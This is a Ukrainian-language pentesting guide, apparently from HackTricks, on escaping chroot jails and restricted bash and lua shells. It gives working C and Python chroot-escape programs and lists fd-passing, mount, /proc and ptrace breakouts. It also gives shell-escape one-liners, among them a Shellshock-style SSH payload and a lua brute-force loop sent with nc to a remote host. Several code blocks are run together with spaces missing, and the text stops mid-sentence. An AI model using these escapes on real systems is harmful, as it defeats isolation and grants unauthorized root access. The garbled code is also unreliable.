З вікіпедії: Механізм chroot не призначений для захисту від навмисного втручання привілейованих (root) користувачів. На більшості систем контексти chroot не коректно накладаються, і програми в chroot з достатніми привілеями можуть виконати другий chroot для втечі.
Зазвичай це означає, що для втечі вам потрібно бути root всередині chroot.
Інструментchw00t був створений для зловживання наступними сценаріями та втечі з chroot.
Root + CWD
Якщо ви root всередині chroot, ви можете втекти, створивши інший chroot. Це тому, що 2 chroot не можуть співіснувати (в Linux), тому якщо ви створите папку, а потім створите новий chroot в цій новій папці, будучи зовні її, ви тепер будете зовні нового chroot і, отже, будете в FS.
Це відбувається тому, що зазвичай chroot НЕ переміщує ваш робочий каталог до вказаного, тому ви можете створити chroot, але бути зовні його.
Зазвичай ви не знайдете бінарний файл chroot всередині в'язниці chroot, але ви можете скомпілювати, завантажити та виконати бінарний файл:
C: break_chroot.c
```c #include #include #include
//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Python</summary>Python
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Це схоже на попередній випадок, але в цьому випадку зловмисник зберігає дескриптор файлу для поточної директорії і потім створює chroot у новій папці. Нарешті, оскільки він має доступ до цього FDззовні chroot, він отримує до нього доступ і втікає.
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
FD може бути передано через Unix Domain Sockets, тому:
* Створіть дочірній процес (fork)
* Створіть UDS, щоб батьківський і дочірній процеси могли спілкуватися
* Запустіть chroot у дочірньому процесі в іншій папці
* У батьківському процесі створіть FD папки, яка знаходиться поза новим chroot дочірнього процесу
* Передайте дочірньому процесу цей FD за допомогою UDS
* Дочірній процес змінює директорію на цей FD, і оскільки він знаходиться поза своїм chroot, він втече з в'язниці
</div>
### Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Монтування кореневого пристрою (/) у директорію всередині chroot
* Chroot у цю директорію
Це можливо в Linux
</div>
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Замонтуйте procfs у директорію всередині chroot (якщо ще не замонтовано)
* Шукайте pid, який має інший запис root/cwd, наприклад: /proc/1/root
* Chroot у цей запис
</div>
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Створіть Fork (дочірній процес) і chroot у іншу папку глибше в FS і CD на неї
* З батьківського процесу перемістіть папку, в якій знаходиться дочірній процес, у папку перед chroot дочірніх процесів
* Цей дочірній процес виявить себе поза chroot
</div>
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Колись користувачі могли налагоджувати свої власні процеси з процесу самого себе... але це більше не можливо за замовчуванням
* У будь-якому випадку, якщо це можливо, ви могли б ptrace у процес і виконати shellcode всередині нього ([дивіться цей приклад](linux-capabilities.md#cap\_sys\_ptrace)).
</div>
## Bash Jails
### Enumeration
Отримайте інформацію про в'язницю:
```bash
echo $SHELL
echo $PATH
env
export
pwd
Змінити PATH
Перевірте, чи можете ви змінити змінну середовища PATH
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
Використання vim
:setshell=/bin/sh:shell
Створити скрипт
Перевірте, чи можете ви створити виконуваний файл з /bin/bash як вмістом
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
Отримати bash через SSH
Якщо ви отримуєте доступ через ssh, ви можете використати цей трюк для виконання оболонки bash:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
Зверніть увагу, що щоразу, коли ви виконуєте попередній однолінійний код у іншому середовищі lua, порядок функцій змінюється. Тому, якщо вам потрібно виконати одну конкретну функцію, ви можете виконати грубу силу, завантажуючи різні середовища lua та викликаючи першу функцію бібліотеки le:
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i inseq1000; doecho"for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end"|nc10.10.10.1010006|grep-A5"Code: char"; done
Отримати інтерактивну lua оболонку: Якщо ви знаходитесь всередині обмеженої lua оболонки, ви можете отримати нову lua оболонку (і, сподіваюся, без обмежень), викликавши: